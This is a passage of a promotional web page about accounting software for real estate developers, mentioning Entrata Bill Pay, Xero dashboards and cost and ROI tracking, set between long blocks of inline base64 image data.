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" width="253px" alt="accounting software for real estate developers"/></p>
<p><h2>The Latest Research &amp; Insights</h2>
</p>
<ul>
<li>Comparing book value to market trends ensures accurate property valuation.</li>
<li>Seamlessly integrate applicant screening, renters insurance, and more into your leasing process.</li>
<li>Invoices, estimates, quotes, and purchase orders can be created, sent, and tracked online.</li>
<li>Track all costs, including land, materials, labor, permits, subcontractor fees, and unexpected expenses, to avoid overspending.</li>
<li>Managing people, materials, and equipment while collaborating with stakeholders and addressing evolving challenges can quickly become overwhelming without the right business management tool.</li>
</ul>
<p><p>With Entrata Bill Pay you can effortlessly process hundreds of invoices at once, securely manage vendor banking information, reduce errors, and prevent fraudulent payments. Experience an easy-to-use, flexible OS that automates workflows and helps you 
run your properties efficiently and securely. Use ROI data to adjust timelines, resource allocation, or marketing strategies. Making timely adjustments can prevent losses and improve overall project outcomes. Use this comparison to spot inefficiencies or areas where savings can be made.</p>
</p>
<p><div style='text-align:center'><iframe width='561' height='316' src='https://www.youtube.com/embed/LkbMMYGNa8Q' frameborder='0' alt='accounting software for real estate developers' allowfullscreen></iframe></div>
</p>
<p><h2>Do real estate agents need bookkeeping?</h2>
</p>
<p><p>Xero comes with a user-friendly dashboard, which provides real-time insights into your business’s financial health. Businesses can monitor cash flow, view outstanding invoices, and track expenses all in one place. The ability to customize the dashboard allows real estate <a href="https://www.lagrangenews.com/sponsored-content/real-estate-bookkeeping-how-it-powers-your-business-488ddc68">real estate bookkeeping</a> professionals to focus on the metrics that matter most to their operations. Additionally, Xero supports fixed asset management, making it simple to track and manage property assets, including depreciation and disposals.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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